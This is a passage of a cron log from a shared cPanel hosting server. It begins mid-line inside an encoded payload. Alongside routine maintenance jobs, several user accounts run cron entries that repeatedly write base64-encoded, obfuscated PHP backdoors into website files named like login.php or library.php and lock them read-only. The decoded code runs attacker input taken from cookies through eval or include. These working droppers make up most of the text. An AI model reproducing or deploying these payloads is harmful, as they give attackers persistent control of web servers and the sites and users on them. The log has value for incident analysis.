yRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:34:01 medusa CROND[21470]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:34:01 medusa CROND[21471]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:34:01 medusa CROND[21473]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:34:01 medusa CROND[21476]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:34:01 medusa CROND[21478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:34:01 medusa CROND[21484]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:34:01 medusa CROND[21486]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:34:01 medusa CROND[21491]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:35:01 medusa CROND[12985]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:35:01 medusa CROND[12998]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:35:01 medusa CROND[12994]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:35:01 medusa CROND[12999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:35:01 medusa CROND[12997]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:35:01 medusa CROND[13170]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 19:35:01 medusa CROND[13171]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:35:01 medusa CROND[13173]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:35:01 medusa CROND[13178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:35:01 medusa CROND[13180]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:35:01 medusa CROND[13181]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:35:01 medusa CROND[13183]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:35:01 medusa CROND[13187]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:35:01 medusa CROND[13188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:35:01 medusa CROND[13190]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 19:35:01 medusa CROND[13194]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:35:01 medusa CROND[13193]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:35:01 medusa CROND[13200]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:35:01 medusa CROND[13202]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:35:01 medusa CROND[13205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:35:01 medusa CROND[13209]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:35:01 medusa CROND[13212]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:35:01 medusa CROND[13213]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:35:01 medusa CROND[13215]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:35:01 medusa CROND[13211]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 19:36:02 medusa CROND[8900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:36:02 medusa CROND[9021]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:36:02 medusa CROND[9023]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:36:02 medusa CROND[9022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:36:02 medusa CROND[9025]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:36:02 medusa CROND[9026]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:36:02 medusa CROND[9027]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
